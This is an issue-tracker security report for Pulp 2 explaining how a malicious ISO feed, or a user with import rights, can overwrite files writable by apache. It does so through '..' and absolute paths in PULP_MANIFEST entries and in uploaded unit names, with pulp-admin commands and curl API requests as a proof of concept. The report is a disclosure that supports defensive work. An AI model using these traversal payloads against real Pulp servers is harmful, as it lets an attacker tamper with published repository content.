Issue #3841


Pulp 2: Malicious iso feed repo can write arbitrary files with user apache.

Added by almost 6 years ago. Updated almost 5 years ago.

Start date:
Due date:
Estimated time:
3. High
Platform Release:
Sprint Candidate:
Pulp 2
Sprint 45



I think I found a couple of security problems with iso repositories, where a malicious user or a malicious iso feed repository can write to (more or less) any location accessible to the ‘apache’ user. In the examples below I use this to overwrite published content of another repository.

I verified this behavior using Pulp 2.16.1, but this problem should be present in previous versions as well.

Here is a small demonstration using two iso repositories:

# pulp-admin iso repo create --repo-id alice --feed --relative-url alice --validate true --serve-https true --remove-missing true

# pulp-admin iso repo sync run --repo-id alice

# pulp-admin iso repo publish run --repo-id alice

The alice upstream repository contains a file named "alice" with content "alice\n". Everything is like it should be in the published repo:

# curl --noproxy \*


# curl --noproxy \* | sha256sum

f87165e305b0f7c4824d3806434f9d0909610a25641ab8773cf92a48c9d77670  -

# curl --noproxy \*


Now create, sync and publish the malicious repository:

# pulp-admin iso repo create --repo-id mallory --feed --relative-url mallory --validate true --serve-https true --remove-missing true

# pulp-admin iso repo sync run --repo-id mallory

# pulp-admin iso repo publish run --repo-id mallory

This publish overwrites the published content of the alice repo!

# curl --noproxy \*


Even the PULP_MANIFEST has been overwritten and is consistent with the new content:

# curl --noproxy \* | sha256sum

cc6e30643f964b8c9449e297cf0e76ac198b39ed52e30220b51f4212f3d70a92  -

# curl --noproxy \*


This behavior is a result of the following problems:

Problem 1: Relative path with ".." are allowed in PULP_MANIFEST

Relative paths with ".." are allowed in the upstream PULP_MANIFEST and can be used to "break out" of the working directory of the publishing task. This happens when populating the build dir with symlinks (see

In the default configuration, the file system location (at least the directory depth) of the working directory is well-known. We can construct a relative path from the working directory to the default location of the publication directory of the "alice" repo. The PULP_MANIFEST file of the malicious feed repo looks like this:



To ensure that the sync finds the two files that overwrite the published "alice" repo, the directory structure of the upstream repository looks like this:

\-- m2
    \-- m3
        \-- m4
            |-- lib
            |     \-- pulp
            |         \-- published
            |             \-- https
            |                 \-- isos
            |                     \-- alice
            |                         |-- alice
            |                         \-- PULP_MANIFEST
            \-- m5
                \-- m6
                    \-- m7
                        \-- m8
                            \-- m9
                                \-- PULP_MANIFEST

Of course, the base path of the repo (".../m9/") looks suspicious in this simple example. However, it should be possible to hide this if one is controlling the upstream HTTP server.

I have attached a tar file containing the content of both the alice and the mallory upstream repos.

Problem 2: Absolute paths are allowed in PULP_MANIFEST

The same effect can be achieved using absolute paths in PULP_MANIFEST

(because of the behavior of Python's `os.path.join` function at The following feed PULP_MANIFEST file causes the same files as above to be overwritten:



(Of course, you will have to provide the actual content of the files listed in the manifest accordingly)

Problem 3: Content name not verified on import of artifacts

Another scenario is a Pulp API user who has sufficient rights to import artifacts into an iso repository. The user can use the same approach as above (relative paths using ".." and absolute paths)

# pulp-admin iso repo create --repo-id mallory --relative-url mallory --validate true --serve-https true --remove-missing true

# curl -X POST -u admin:admin --noproxy \*

{"upload_id": "09cc0ae5-0bc3-4f0d-ba0b-11bbd08fb741", "_href": "/pulp/api/v2/content/uploads/09cc0ae5-0bc3-4f0d-ba0b-11bbd08fb741/"}

# curl -v -X PUT -u admin:admin -d "mallory" --noproxy \*

# curl -X POST -u admin:admin --noproxy \* -H "Content-Type: application/json" -d '{"override_config": {}, "unit_type_id": "iso", "upload_id": "09cc0ae5-0bc3-4f0d-ba0b-11bbd08fb741", "unit_key": {"checksum": "c0a497761b175379ed63397cc980546559faa84ca9cbeede773117c31508b6ac", "name": "/var/lib/pulp/published/https/isos/alice/alice", "size": 7}, "unit_metadata": {}}'

# curl --noproxy \*


It is also possible to use the characters '\n' and ',' in the name of the uploaded artifact in order to inject these into the generated PULP_MANIFEST file. Although this is escaped correctly when generating the CSV file, it might make sense to disallow these characters in the name of content units (in order to prevent that simple parsers get confused).

Also available in: Atom PDF